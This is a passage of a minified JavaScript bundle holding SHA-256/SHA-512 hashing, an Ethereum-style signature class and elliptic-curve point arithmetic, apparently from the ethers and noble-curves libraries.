c=0;c<16;c++,t+=4)yi[c]=e.getUint32(t,!1);for(let c=16;c<64;c++){const e=yi[c-15],t=yi[c-2],n=Ae(e,7)^Ae(e,18)^e>>>3,r=Ae(t,17)^Ae(t,19)^t>>>10;yi[c]=r+yi[c-7]+n+yi[c-16]|0}let{A:n,B:r,C:a,D:i,E:s,F:o,G:l,H:u}=this;for(let c=0;c<64;c++){const e=u+(Ae(s,6)^Ae(s,11)^Ae(s,25))+hi(s,o,l)+gi[c]+yi[c]|0,t=(Ae(n,2)^Ae(n,13)^Ae(n,22))+pi(n,r,a)|0;u=l,l=o,o=s,s=i+e|0,i=a,a=r,r=n,n=e+t|0}n=n+this.A|0,r=r+this.B|0,a=a+this.C|0,i=i+this.D|0,s=s+this.E|0,o=o+this.F|0,l=l+this.G|0,u=u+this.H|0,this.set(n,r,a,i,s,o,l,u)}roundClean(){yi.fill(0)}destroy(){this.set(0,0,0,0,0,0,0,0),this.buffer.fill(0)}}const wi=Se((()=>new bi)),[vi,Ai]=(()=>ye.split(["0x428a2f98d728ae22","0x7137449123ef65cd","0xb5c0fbcfec4d3b2f","0xe9b5dba58189dbbc","0x3956c25bf348b538","0x59f111f1b605d019","0x923f82a4af194f9b","0xab1c5ed5da6d8118","0xd807aa98a3030242","0x12835b0145706fbe","0x243185be4ee4b28c","0x550c7dc3d5ffb4e2","0x72be5d74f27b896f","0x80deb1fe3b1696b1","0x9bdc06a725c71235","0xc19bf174cf692694","0xe49b69c19ef14ad2","0xefbe4786384f25e3","0x0fc19dc68b8cd5b5","0x240ca1cc77ac9c65","0x2de92c6f592b0275","0x4a7484aa6ea6e483","0x5cb0a9dcbd41fbd4","0x76f988da831153b5","0x983e5152ee66dfab","0xa831c66d2db43210","0xb00327c898fb213f","0xbf597fc7beef0ee4","0xc6e00bf33da88fc2","0xd5a79147930aa725","0x06ca6351e003826f","0x142929670a0e6e70","0x27b70a8546d22ffc","0x2e1b21385c26c926","0x4d2c6dfc5ac42aed","0x53380d139d95b3df","0x650a73548baf63de","0x766a0abb3c77b2a8","0x81c2c92e47edaee6","0x92722c851482353b","0xa2bfe8a14cf10364","0xa81a664bbc423001","0xc24b8b70d0f89791","0xc76c51a30654be30","0xd192e819d6ef5218","0xd69906245565a910","0xf40e35855771202a","0x106aa07032bbd1b8","0x19a4c116b8d2d0c8","0x1e376c085141ab53","0x2748774cdf8eeb99","0x34b0bcb5e19b48a8","0x391c0cb3c5c95a63","0x4ed8aa4ae3418acb","0x5b9cca4f7763e373","0x682e6ff3d6b2b8a3","0x748f82ee5defb2fc","0x78a5636f43172f60","0x84c87814a1f0ab72","0x8cc702081a6439ec","0x90befffa23631e28","0xa4506cebde82bde9","0xbef9a3f7b2c67915","0xc67178f2e372532b","0xca273eceea26619c","0xd186b8c721c0c207","0xeada7dd6cde0eb1e","0xf57d4f7fee6ed178","0x06f067aa72176fba","0x0a637dc5a2c898a6","0x113f9804bef90dae","0x1b710b35131c471b","0x28db77f523047d84","0x32caab7b40c72493","0x3c9ebe0a15c9bebc","0x431d67c49c100d4c","0x4cc5d4becb3e42b6","0x597f299cfc657e2a","0x5fcb6fab3ad6faec","0x6c44198c4a475817"].map((e=>BigInt(e)))))(),ki=new Uint32Array(80),Ei=new Uint32Array(80);class Si extends di{constructor(){super(128,64,16,!1),this.Ah=1779033703,this.Al=-205731576,this.Bh=-1150833019,this.Bl=-2067093701,this.Ch=1013904242,this.Cl=-23791573,this.Dh=-1521486534,this.Dl=1595750129,this.Eh=1359893119,this.El=-1377402159,this.Fh=-1694144372,this.Fl=725511199,this.Gh=528734635,this.Gl=-79577749,this.Hh=1541459225,this.Hl=327033209}get(){const{Ah:e,Al:t,Bh:n,Bl:r,Ch:a,Cl:i,Dh:s,Dl:o,Eh:l,El:u,Fh:c,Fl:f,Gh:d,Gl:h,Hh:p,Hl:g}=this;return[e,t,n,r,a,i,s,o,l,u,c,f,d,h,p,g]}set(e,t,n,r,a,i,s,o,l,u,c,f,d,h,p,g){this.Ah=0|e,this.Al=0|t,this.Bh=0|n,this.Bl=0|r,this.Ch=0|a,this.Cl=0|i,this.Dh=0|s,this.Dl=0|o,this.Eh=0|l,this.El=0|u,this.Fh=0|c,this.Fl=0|f,this.Gh=0|d,this.Gl=0|h,this.Hh=0|p,this.Hl=0|g}process(e,t){for(let b=0;b<16;b++,t+=4)ki[b]=e.getUint32(t),Ei[b]=e.getUint32(t+=4);for(let b=16;b<80;b++){const e=0|ki[b-15],t=0|Ei[b-15],n=ye.rotrSH(e,t,1)^ye.rotrSH(e,t,8)^ye.shrSH(e,t,7),r=ye.rotrSL(e,t,1)^ye.rotrSL(e,t,8)^ye.shrSL(e,t,7),a=0|ki[b-2],i=0|Ei[b-2],s=ye.rotrSH(a,i,19)^ye.rotrBH(a,i,61)^ye.shrSH(a,i,6),o=ye.rotrSL(a,i,19)^ye.rotrBL(a,i,61)^ye.shrSL(a,i,6),l=ye.add4L(r,o,Ei[b-7],Ei[b-16]),u=ye.add4H(l,n,s,ki[b-7],ki[b-16]);ki[b]=0|u,Ei[b]=0|l}let{Ah:n,Al:r,Bh:a,Bl:i,Ch:s,Cl:o,Dh:l,Dl:u,Eh:c,El:f,Fh:d,Fl:h,Gh:p,Gl:g,Hh:m,Hl:y}=this;for(let b=0;b<80;b++){const e=ye.rotrSH(c,f,14)^ye.rotrSH(c,f,18)^ye.rotrBH(c,f,41),t=ye.rotrSL(c,f,14)^ye.rotrSL(c,f,18)^ye.rotrBL(c,f,41),w=c&d^~c&p,v=f&h^~f&g,A=ye.add5L(y,t,v,Ai[b],Ei[b]),k=ye.add5H(A,m,e,w,vi[b],ki[b]),E=0|A,S=ye.rotrSH(n,r,28)^ye.rotrBH(n,r,34)^ye.rotrBH(n,r,39),x=ye.rotrSL(n,r,28)^ye.rotrBL(n,r,34)^ye.rotrBL(n,r,39),P=n&a^n&s^a&s,C=r&i^r&o^i&o;m=0|p,y=0|g,p=0|d,g=0|h,d=0|c,h=0|f,({h:c,l:f}=ye.add(0|l,0|u,0|k,0|E)),l=0|s,u=0|o,s=0|a,o=0|i,a=0|n,i=0|r;const N=ye.add3L(E,x,C);n=ye.add3H(N,k,S,P),r=0|N}({h:n,l:r}=ye.add(0|this.Ah,0|this.Al,0|n,0|r)),({h:a,l:i}=ye.add(0|this.Bh,0|this.Bl,0|a,0|i)),({h:s,l:o}=ye.add(0|this.Ch,0|this.Cl,0|s,0|o)),({h:l,l:u}=ye.add(0|this.Dh,0|this.Dl,0|l,0|u)),({h:c,l:f}=ye.add(0|this.Eh,0|this.El,0|c,0|f)),({h:d,l:h}=ye.add(0|this.Fh,0|this.Fl,0|d,0|h)),({h:p,l:g}=ye.add(0|this.Gh,0|this.Gl,0|p,0|g)),({h:m,l:y}=ye.add(0|this.Hh,0|this.Hl,0|m,0|y)),this.set(n,r,a,i,s,o,l,u,c,f,d,h,p,g,m,y)}roundClean(){ki.fill(0),Ei.fill(0)}destroy(){this.buffer.fill(0),this.set(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)}}const xi=Se((()=>new Si));const Pi=function(){if("undefined"!==typeof self)return self;if("undefined"!==typeof window)return window;if("undefined"!==typeof global)return global;throw new Error("unable to locate global object")}();Pi.crypto||Pi.msCrypto;function Ci(e){switch(e){case"sha256":return wi.create();case"sha512":return xi.create()}p(!1,"invalid hashing algorithm name","algorithm",e)}const Ni=function(e){return Ci("sha256").update(e).digest()},Oi=function(e){return Ci("sha512").update(e).digest()};let Ti=Ni,Ri=Oi,Ii=!1,Bi=!1;function Fi(e){const t=w(e,"data");return S(Ti(t))}function Li(e){const t=w(e,"data");return S(Ri(t))}Fi._=Ni,Fi.lock=function(){Ii=!0},Fi.register=function(e){if(Ii)throw new Error("sha256 is locked");Ti=e},Object.freeze(Fi),Li._=Oi,Li.lock=function(){Bi=!0},Li.register=function(e){if(Bi)throw new Error("sha512 is locked");Ri=e},Object.freeze(Fi);const Di="0x0000000000000000000000000000000000000000000000000000000000000000",Ui=BigInt(0),Mi=BigInt(1),zi=BigInt(2),_i=BigInt(27),Hi=BigInt(28),ji=BigInt(35),Gi={};function Qi(e){return O(j(e),32)}class Vi{#$;#ee;#te;#ne;get r(){return this.#$}set r(e){p(32===P(e),"invalid r","value",e),this.#$=S(e)}get s(){return this.#ee}set s(e){p(32===P(e),"invalid s","value",e);const t=S(e);p(parseInt(t.substring(0,3))<8,"non-canonical s","value",t),this.#ee=t}get v(){return this.#te}set v(e){const t=_(e,"value");p(27===t||28===t,"invalid v","v",e),this.#te=t}get networkV(){return this.#ne}get legacyChainId(){const e=this.networkV;return null==e?null:Vi.getChainId(e)}get yParity(){return 27===this.v?0:1}get yParityAndS(){const e=w(this.s);return this.yParity&&(e[0]|=128),S(e)}get compactSerialized(){return x([this.r,this.yParityAndS])}get serialized(){return x([this.r,this.s,this.yParity?"0x1c":"0x1b"])}constructor(e,t,n,r){y(e,Gi,"Signature"),this.#$=t,this.#ee=n,this.#te=r,this.#ne=null}[Symbol.for("nodejs.util.inspect.custom")](){return`Signature { r: "${this.r}", s: "${this.s}", yParity: ${this.yParity}, networkV: ${this.networkV} }`}clone(){const e=new Vi(Gi,this.r,this.s,this.v);return this.networkV&&(e.#ne=this.networkV),e}toJSON(){const e=this.networkV;return{_type:"signature",networkV:null!=e?e.toString():null,r:this.r,s:this.s,v:this.v}}static getChainId(e){const t=D(e,"v");return t==_i||t==Hi?Ui:(p(t>=ji,"invalid EIP-155 v","v",e),(t-ji)/zi)}static getChainIdV(e,t){return D(e)*zi+BigInt(35+t-27)}static getNormalizedV(e){const t=D(e);return t===Ui||t===_i?27:t===Mi||t===Hi?28:(p(t>=ji,"invalid v","v",e),t&Mi?27:28)}static from(e){function t(t,n){p(t,n,"signature",e)}if(null==e)return new Vi(Gi,Di,Di,27);if("string"===typeof e){const n=w(e,"signature");if(64===n.length){const e=S(n.slice(0,32)),t=n.slice(32,64),r=128&t[0]?28:27;return t[0]&=127,new Vi(Gi,e,S(t),r)}if(65===n.length){const e=S(n.slice(0,32)),r=n.slice(32,64);t(0===(128&r[0]),"non-canonical s");const a=Vi.getNormalizedV(n[64]);return new Vi(Gi,e,S(r),a)}t(!1,"invalid raw signature length")}if(e instanceof Vi)return e.clone();const n=e.r;t(null!=n,"missing r");const r=Qi(n),a=function(e,n){if(null!=e)return Qi(e);if(null!=n){t(A(n,32),"invalid yParityAndS");const e=w(n);return e[0]&=127,S(e)}t(!1,"missing s")}(e.s,e.yParityAndS);t(0==(128&w(a)[0]),"non-canonical s");const{networkV:i,v:s}=function(e,n,r){if(null!=e){const t=D(e);return{networkV:t>=ji?t:void 0,v:Vi.getNormalizedV(t)}}if(null!=n)return t(A(n,32),"invalid yParityAndS"),{v:128&w(n)[0]?28:27};if(null!=r){switch(_(r,"sig.yParity")){case 0:return{v:27};case 1:return{v:28}}t(!1,"invalid yParity")}t(!1,"missing v")}(e.v,e.yParityAndS,e.yParity),o=new Vi(Gi,r,a,s);return i&&(o.#ne=i),t(null==e.yParity||_(e.yParity,"sig.yParity")===o.yParity,"yParity mismatch"),t(null==e.yParityAndS||e.yParityAndS===o.yParityAndS,"yParityAndS mismatch"),o}}BigInt(0);const Ji=BigInt(1),qi=BigInt(2),Ki=e=>e instanceof Uint8Array,Wi=Array.from({length:256},((e,t)=>t.toString(16).padStart(2,"0")));function Yi(e){if(!Ki(e))throw new Error("Uint8Array expected");let t="";for(let n=0;n<e.length;n++)t+=Wi[e[n]];return t}function Zi(e){if("string"!==typeof e)throw new Error("hex string expected, got "+typeof e);return BigInt(""===e?"0":`0x${e}`)}function Xi(e){if("string"!==typeof e)throw new Error("hex string expected, got "+typeof e);const t=e.length;if(t%2)throw new Error("padded hex string expected, got unpadded hex of length "+t);const n=new Uint8Array(t/2);for(let r=0;r<n.length;r++){const t=2*r,a=e.slice(t,t+2),i=Number.parseInt(a,16);if(Number.isNaN(i)||i<0)throw new Error("Invalid byte sequence");n[r]=i}return n}function $i(e){return Zi(Yi(e))}function es(e){if(!Ki(e))throw new Error("Uint8Array expected");return Zi(Yi(Uint8Array.from(e).reverse()))}function ts(e,t){return Xi(e.toString(16).padStart(2*t,"0"))}function ns(e,t){return ts(e,t).reverse()}function rs(e,t,n){let r;if("string"===typeof t)try{r=Xi(t)}catch(i){throw new Error(`${e} must be valid hex string, got "${t}". Cause: ${i}`)}else{if(!Ki(t))throw new Error(`${e} must be hex string or Uint8Array`);r=Uint8Array.from(t)}const a=r.length;if("number"===typeof n&&a!==n)throw new Error(`${e} expected ${n} bytes, got ${a}`);return r}function as(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];const r=new Uint8Array(t.reduce(((e,t)=>e+t.length),0));let a=0;return t.forEach((e=>{if(!Ki(e))throw new Error("Uint8Array expected");r.set(e,a),a+=e.length})),r}const is=e=>(qi<<BigInt(e-1))-Ji,ss=e=>new Uint8Array(e),os=e=>Uint8Array.from(e);function ls(e,t,n){if("number"!==typeof e||e<2)throw new Error("hashLen must be a number");if("number"!==typeof t||t<2)throw new Error("qByteLen must be a number");if("function"!==typeof n)throw new Error("hmacFn must be a function");let r=ss(e),a=ss(e),i=0;const s=()=>{r.fill(1),a.fill(0),i=0},o=function(){for(var e=arguments.length,t=new Array(e),i=0;i<e;i++)t[i]=arguments[i];return n(a,r,...t)},l=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:ss();a=o(os([0]),e),r=o(),0!==e.length&&(a=o(os([1]),e),r=o())},u=()=>{if(i++>=1e3)throw new Error("drbg: tried 1000 values");let e=0;const n=[];for(;e<t;){r=o();const t=r.slice();n.push(t),e+=r.length}return as(...n)};return(e,t)=>{let n;for(s(),l(e);!(n=t(u()));)l();return s(),n}}const us={bigint:e=>"bigint"===typeof e,function:e=>"function"===typeof e,boolean:e=>"boolean"===typeof e,string:e=>"string"===typeof e,stringOrUint8Array:e=>"string"===typeof e||e instanceof Uint8Array,isSafeInteger:e=>Number.isSafeInteger(e),array:e=>Array.isArray(e),field:(e,t)=>t.Fp.isValid(e),hash:e=>"function"===typeof e&&Number.isSafeInteger(e.outputLen)};function cs(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};const r=(t,n,r)=>{const a=us[n];if("function"!==typeof a)throw new Error(`Invalid validator "${n}", expected function`);const i=e[t];if((!r||void 0!==i)&&!a(i,e))throw new Error(`Invalid param ${String(t)}=${i} (${typeof i}), expected ${n}`)};for(const[a,i]of Object.entries(t))r(a,i,!1);for(const[a,i]of Object.entries(n))r(a,i,!0);return e}const fs=BigInt(0),ds=BigInt(1),hs=BigInt(2),ps=BigInt(3),gs=BigInt(4),ms=BigInt(5),ys=BigInt(8);BigInt(9),BigInt(16);function bs(e,t){const n=e%t;return n>=fs?n:t+n}function ws(e,t,n){if(n<=fs||t<fs)throw new Error("Expected power/modulo > 0");if(n===ds)return fs;let r=ds;for(;t>fs;)t&ds&&(r=r*e%n),e=e*e%n,t>>=ds;return r}function vs(e,t,n){let r=e;for(;t-- >fs;)r*=r,r%=n;return r}function As(e,t){if(e===fs||t<=fs)throw new Error(`invert: expected positive integers, got n=${e} mod=${t}`);let n=bs(e,t),r=t,a=fs,i=ds,s=ds,o=fs;for(;n!==fs;){const e=r/n,t=r%n,l=a-s*e,u=i-o*e;r=n,n=t,a=s,i=o,s=l,o=u}if(r!==ds)throw new Error("invert: does not exist");return bs(a,t)}function ks(e){if(e%gs===ps){const t=(e+ds)/gs;return function(e,n){const r=e.pow(n,t);if(!e.eql(e.sqr(r),n))throw new Error("Cannot find square root");return r}}if(e%ys===ms){const t=(e-ms)/ys;return function(e,n){const r=e.mul(n,hs),a=e.pow(r,t),i=e.mul(n,a),s=e.mul(e.mul(i,hs),a),o=e.mul(i,e.sub(s,e.ONE));if(!e.eql(e.sqr(o),n))throw new Error("Cannot find square root");return o}}return function(e){const t=(e-ds)/hs;let n,r,a;for(n=e-ds,r=0;n%hs===fs;n/=hs,r++);for(a=hs;a<e&&ws(a,t,e)!==e-ds;a++);if(1===r){const t=(e+ds)/gs;return function(e,n){const r=e.pow(n,t);if(!e.eql(e.sqr(r),n))throw new Error("Cannot find square root");return r}}const i=(n+ds)/hs;return function(e,s){if(e.pow(s,t)===e.neg(e.ONE))throw new Error("Cannot find square root");let o=r,l=e.pow(e.mul(e.ONE,a),n),u=e.pow(s,i),c=e.pow(s,n);for(;!e.eql(c,e.ONE);){if(e.eql(c,e.ZERO))return e.ZERO;let t=1;for(let r=e.sqr(c);t<o&&!e.eql(r,e.ONE);t++)r=e.sqr(r);const n=e.pow(l,ds<<BigInt(o-t-1));l=e.sqr(n),u=e.mul(u,n),c=e.mul(c,l),o=t}return u}}(e)}const Es=["create","isValid","is0","neg","inv","sqrt","sqr","eql","add","sub","mul","pow","div","addN","subN","mulN","sqrN"];function Ss(e,t){const n=void 0!==t?t:e.toString(2).length;return{nBitLength:n,nByteLength:Math.ceil(n/8)}}function xs(e){if("bigint"!==typeof e)throw new Error("field order must be bigint");const t=e.toString(2).length;return Math.ceil(t/8)}function Ps(e){const t=xs(e);return t+Math.ceil(t/2)}class Cs extends Ee{constructor(e,t){super(),this.finished=!1,this.destroyed=!1,se(e);const n=ke(t);if(this.iHash=e.create(),"function"!==typeof this.iHash.update)throw new Error("Expected instance of class which extends utils.Hash");this.blockLen=this.iHash.blockLen,this.outputLen=this.iHash.outputLen;const r=this.blockLen,a=new Uint8Array(r);a.set(n.length>r?e.create().update(n).digest():n);for(let i=0;i<a.length;i++)a[i]^=54;this.iHash.update(a),this.oHash=e.create();for(let i=0;i<a.length;i++)a[i]^=106;this.oHash.update(a),a.fill(0)}update(e){return oe(this),this.iHash.update(e),this}digestInto(e){oe(this),ie(e,this.outputLen),this.finished=!0,this.iHash.digestInto(e),this.oHash.update(e),this.oHash.digestInto(e),this.destroy()}digest(){const e=new Uint8Array(this.oHash.outputLen);return this.digestInto(e),e}_cloneInto(e){e||(e=Object.create(Object.getPrototypeOf(this),{}));const{oHash:t,iHash:n,finished:r,destroyed:a,blockLen:i,outputLen:s}=this;return e.finished=r,e.destroyed=a,e.blockLen=i,e.outputLen=s,e.oHash=t._cloneInto(e.oHash),e.iHash=n._cloneInto(e.iHash),e}destroy(){this.destroyed=!0,this.oHash.destroy(),this.iHash.destroy()}}const Ns=(e,t,n)=>new Cs(e,t).update(n).digest();Ns.create=(e,t)=>new Cs(e,t);const Os=BigInt(0),Ts=BigInt(1);function Rs(e){return cs(e.Fp,Es.reduce(((e,t)=>(e[t]="function",e)),{ORDER:"bigint",MASK:"bigint",BYTES:"isSafeInteger",BITS:"isSafeInteger"})),cs(e,{n:"bigint",h:"bigint",Gx:"field",Gy:"field"},{nBitLength:"isSafeInteger",nByteLength:"isSafeInteger"}),Object.freeze({...Ss(e.n,e.nBitLength),...e,p:e.Fp.ORDER})}const{Ph:Is,aT:Bs}=r,Fs={Err:class extends Error{constructor(){super(arguments.length>0&&void 0!==arguments[0]?arguments[0]:"")}},_parseInt(e){const{Err:t}=Fs;if(e.length<2||2!==e[0])throw new t("Invalid signature integer tag");const n=e[1],r=e.subarray(2,n+2);if(!n||r.length!==n)throw new t("Invalid signature integer: wrong length");if(128&r[0])throw new t("Invalid signature integer: negative");if(0===r[0]&&!(128&r[1]))throw new t("Invalid signature integer: unnecessary leading zero");return{d:Is(r),l:e.subarray(n+2)}},toSig(e){const{Err:t}=Fs,n="string"===typeof e?Bs(e):e;if(!(n instanceof Uint8Array))throw new Error("ui8a expected");let r=n.length;if(r<2||48!=n[0])throw new t("Invalid signature tag");if(n[1]!==r-2)throw new t("Invalid signature: incorrect length");const{d:a,l:i}=Fs._parseInt(n.subarray(2)),{d:s,l:o}=Fs._parseInt(i);if(o.length)throw new t("Invalid signature: left bytes after parsing");return{r:a,s:s}},hexFromSig(e){const t=e=>8&Number.parseInt(e[0],16)?"00"+e:e,n=e=>{const t=e.toString(16);return 1&t.length?`0${t}`:t},r=t(n(e.s)),a=t(n(e.r)),i=r.length/2,s=a.length/2,o=n(i),l=n(s);return`30${n(s+i+4)}02${l}${a}02${o}${r}`}},Ls=BigInt(0),Ds=BigInt(1),Us=(BigInt(2),BigInt(3));BigInt(4);function Ms(e){const t=function(e){const t=Rs(e);cs(t,{a:"field",b:"field"},{allowedPrivateKeyLengths:"array",wrapPrivateKey:"boolean",isTorsionFree:"function",clearCofactor:"function",allowInfinityPoint:"boolean",fromBytes:"function",toBytes:"function"});const{endo:n,Fp:r,a:a}=t;if(n){if(!r.eql(a,r.ZERO))throw new Error("Endomorphism can only be defined for Koblitz curves that have a=0");if("object"!==typeof n||"bigint"!==typeof n.beta||"function"!==typeof n.splitScalar)throw new Error("Expected endomorphism with beta: bigint and splitScalar: function")}return Object.freeze({...t})}(e),{Fp:n}=t,r=t.toBytes||((e,t,r)=>{const a=t.toAffine();return as(Uint8Array.from([4]),n.toBytes(a.x),n.toBytes(a.y))}),a=t.fromBytes||(e=>{const t=e.subarray(1);return{x:n.fromBytes(t.subarray(0,n.BYTES)),y:n.fromBytes(t.subarray(n.BYTES,2*n.BYTES))}});function i(e){const{a:r,b:a}=t,i=n.sqr(e),s=n.mul(i,e);return n.add(n.add(s,n.mul(e,r)),a)}if(!n.eql(n.sqr(t.Gy),i(t.Gx)))throw new Error("bad generator point: equation left != right");function s(e){return"bigint"===typeof e&&Ls<e&&e<t.n}function o(e){if(!s(e))throw new Error("Expected valid bigint: 0 < bigint < curve.n")}function l(e){const{allowedPrivateKeyLengths:n,nByteLength:r,wrapPrivateKey:a,n:i}=t;if(n&&"bigint"!==typeof e){if(e instanceof Uint8Array&&(e=Yi(e)),"string"!==typeof e||!n.includes(e.length))throw new Error("Invalid key");e=e.padStart(2*r,"0")}let s;try{s="bigint"===typeof e?e:$i(rs("private key",e,r))}catch(l){throw new Error(`private key must be ${r} bytes, hex or bigint, not ${typeof e}`)}return a&&(s=bs(s,i)),o(s),s}const u=new Map;function c(e){if(!(e instanceof f))throw new Error("ProjectivePoint expected")}class f{constructor(e,t,r){if(this.px=e,this.py=t,this.pz=r,null==e||!n.isValid(e))throw new Error("x required");if(null==t||!n.isValid(t))throw new Error("y required");if(null==r||!n.isValid(r))throw new Error("z required")}static fromAffine(e){const{x:t,y:r}=e||{};if(!e||!n.isValid(t)||!n.isValid(r))throw new Error("invalid affine point");if(e instanceof f)throw new Error("projective point not allowed");const a=e=>n.eql(e,n.ZERO);return a(t)&&a(r)?f.ZERO:new f(t,r,n.ONE)}get x(){return this.toAffine().x}get y(){return this.toAffine().y}static normalizeZ(e){const t=n.invertBatch(e.map((e=>e.pz)));return e.map(((e,n)=>e.toAffine(t[n]))).map(f.fromAffine)}static fromHex(e){const t=f.fromAffine(a(rs("pointHex",e)));return t.assertValidity(),t}static fromPrivateKey(e){return f.BASE.multiply(l(e))}_setWindowSize(e){this._WINDOW_SIZE=e,u.delete(this)}assertValidity(){if(this.is0()){if(t.allowInfinityPoint&&!n.is0(this.py))return;throw new Error("bad point: ZERO")}const{x:e,y:r}=this.toAffine();if(!n.isValid(e)||!n.isValid(r))throw new Error("bad point: x or y not FE");const a=n.sqr(r),s=i(e);if(!n.eql(a,s))throw new Error("bad point: equation left != right");if(!this.isTorsionFree())throw new Error("bad point: not in prime-order subgroup")}hasEvenY(){const{y:e}=this.toAffine();if(n.isOdd)return!n.isOdd(e);throw new Error("Field doesn't support isOdd")}equals(e){c(e);const{px:t,py:r,pz:a}=this,{px:i,py:s,pz:o}=e,l=n.eql(n.mul(t,o),n.mul(i,a)),u=n.eql(n.mul(r,o),n.mul(s,a));return l&&u}negate(){return new f(this.px,n.neg(this.py),this.pz)}double(){const{a:e,b:r}=t,a=n.mul(r,Us),{px:i,py:s,pz:o}=this;let l=n.ZERO,u=n.ZERO,c=n.ZERO,d=n.mul(i,i),h=n.mul(s,s),p=n.mul(o,o),g=n.mul(i,s);return g=n.add(g,g),c=n.mul(i,o),c=n.add(c,c),l=n.mul(e,c),u=n.mul(a,p),u=n.add(l,u),l=n.sub(h,u),u=n.add(h,u),u=n.mul(l,u),l=n.mul(g,l),c=n.mul(a,c),p=n.mul(e,p),g=n.sub(d,p),g=n.mul(e,g),g=n.add(g,c),c=n.add(d,d),d=n.add(c,d),d=n.add(d,p),d=n.mul(d,g),u=n.add(u,d),p=n.mul(s,o),p=n.add(p,p),d=n.mul(p,g),l=n.sub(l,d),c=n.mul(p,h),c=n.add(c,c),c=n.add(c,c),new f(l,u,c)}add(e){c(e);const{px:r,py:a,pz:i}=this,{px:s,py:o,pz:l}=e;let u=n.ZERO,d=n.ZERO,h=n.ZERO;const p=t.a,g=n.mul(t.b,Us);let m=n.mul(r,s),y=n.mul(a,o),b=n.mul(i,l),w=n.add(r,a),v=n.add(s,o);w=n.mul(w,v),v=n.add(m,y),w=n.sub(w,v),v=n.add(r,i);let A=n.add(s,l);return v=n.mul(v,A),A=n.add(m,b),v=n.sub(v,A),A=n.add(a,i),u=n.add(o,l),A=n.mul(A,u),u=n.add(y,b),A=n.sub(A,u),h=n.mul(p,v),u=n.mul(g,b),h=n.add(u,h),u=n.sub(y,h),h=n.add(y,h),d=n.mul(u,h),y=n.add(m,m),y=n.add(y,m),b=n.mul(p,b),v=n.mul(g,v),y=n.add(y,b),b=n.sub(m,b),b=n.mul(p,b),v=n.add(v,b),m=n.mul(y,v),d=n.add(d,m),m=n.mul(A,v),u=n.mul(w,u),u=n.sub(u,m),m=n.mul(w,y),h=n.mul(A,h),h=n.add(h,m),new f(u,d,h)}subtract(e){return this.add(e.negate())}is0(){return this.equals(f.ZERO)}wNAF(e){return h.wNAFCached(this,u,e,(e=>{const t=n.invertBatch(e.map((e=>e.pz)));return e.map(((e,n)=>e.toAffine(t[n]))).map(f.fromAffine)}))}multiplyUnsafe(e){const r=f.ZERO;if(e===Ls)return r;if(o(e),e===Ds)return this;const{endo:a}=t;if(!a)return h.unsafeLadder(this,e);let{k1neg:i,k1:s,k2neg:l,k2:u}=a.splitScalar(e),c=r,d=r,p=this;for(;s>Ls||u>Ls;)s&Ds&&(c=c.add(p)),u&Ds&&(d=d.add(p)),p=p.double(),s>>=Ds,u>>=Ds;return i&&(c=c.negate()),l&&(d=d.negate()),d=new f(n.mul(d.px,a.beta),d.py,d.pz),c.add(d)}multiply(e){o(e);let r,a,i=e;const{endo:s}=t;if(s){const{k1neg:e,k1:t,k2neg:o,k2:l}=s.splitScalar(i);let{p:u,f:c}=this.wNAF(t),{p:d,f:p}=this.wNAF(l);u=h.constTimeNegate(e,u),d=h.constTimeNegate(o,d),d=new f(n.mul(d.px,s.beta),d.py,d.pz),r=u.add(d),a=c.add(p)}else{const{p:e,f:t}=this.wNAF(i);r=e,a=t}return f.normalizeZ([r,a])[0]}multiplyAndAddUnsafe(e,t,n){const r=f.BASE,a=(e,t)=>t!==Ls&&t!==Ds&&e.equals(r)?e.multiply(t):e.multiplyUnsafe(t),i=a(this,t).add(a(e,n));return i.is0()?void 0:i}toAffine(e){const{px:t,py:r,pz:a}=this,i=this.is0();null==e&&(e=i?n.ONE:n.inv(a));const s=n.mul(t,e),o=n.mul(r,e),l=n.mul(a,e);if(i)return{x:n.ZERO,y:n.ZERO};if(!n.eql(l,n.ONE))throw new Error("invZ was invalid");return{x:s,y:o}}isTorsionFree(){const{h:e,isTorsionFree:n}=t;if(e===Ds)return!0;if(n)return n(f,this);throw new Error("isTorsionFree() has not been declared for the elliptic curve")}clearCofactor(){const{h:e,clearCofactor:n}=t;return e===Ds?this:n?n(f,this):this.multiplyUnsafe(t.h)}toRawBytes(){let e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return this.assertValidity(),r(f,this,e)}toHex(){let e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return Yi(this.toRawBytes(e))}}f.BASE=new f(t.Gx,t.Gy,n.ONE),f.ZERO=new f(n.ZERO,n.ONE,n.ZERO);const d=t.nBitLength,h=function(e,t){const n=(e,t)=>{const n=t.negate();return e?n:t},r=e=>({windows:Math.ceil(t/e)+1,windowSize:2**(e-1)});return{constTimeNegate:n,unsafeLadder(t,n){let r=e.ZERO,a=t;for(;n>Os;)n&Ts&&(r=r.add(a)),a=a.double(),n>>=Ts;return r},precomputeWindow(e,t){const{windows:n,windowSize:a}=r(t),i=[];let s=e,o=s;for(let r=0;r<n;r++){o=s,i.push(o);for(let e=1;e<a;e++)o=o.add(s),i.push(o);s=o.double()}return i},wNAF(t,a,i){const{windows:s,windowSize:o}=r(t);let l=e.ZERO,u=e.BASE;const c=BigInt(2**t-1),f=2**t,d=BigInt(t);for(let e=0;e<s;e++){const t=e*o;let r=Number(i&c);i>>=d,r>o&&(r-=f,i+=Ts);const s=t,h=t+Math.abs(r)-1,p=e%2!==0,g=r<0;0===r?u=u.add(n(p,a[s])):l=l.add(n(g,a[h]))}return{p:l,f:u}},wNAFCached(e,t,n,r){const a=e._WINDOW_SIZE||1;let i=t.get(e);return i||(i=this.precomputeWindow(e,a),1!==a&&t.set(e,r(i))),this.wNAF(a,i,n)}}}(f,t.endo?Math.ceil(d/2):d);return{CURVE:t,ProjectivePoint:f,normPrivateKeyToScalar:l,weierstrassEquation:i,isWithinCurveOrder:s}}function zs(e){const t=function(e){const t=Rs(e);return cs(t,{hash:"hash",hmac:"function",randomBytes:"function"},{bits2int:"function",bits2int_modN:"function",lowS:"boolean"}),Object.freeze({lowS:!0,...t})}(e),{Fp:n,n:r}=t,a=n.BYTES+1,i=2*n.BYTES+1;function s(e){return bs(e,r)}function o(e){return As(e,r)}const{ProjectivePoint:l,normPrivateKeyToScalar:u,weierstrassEquation:c,isWithinCurveOrder:f}=Ms({...t,toBytes(e,t,r){const 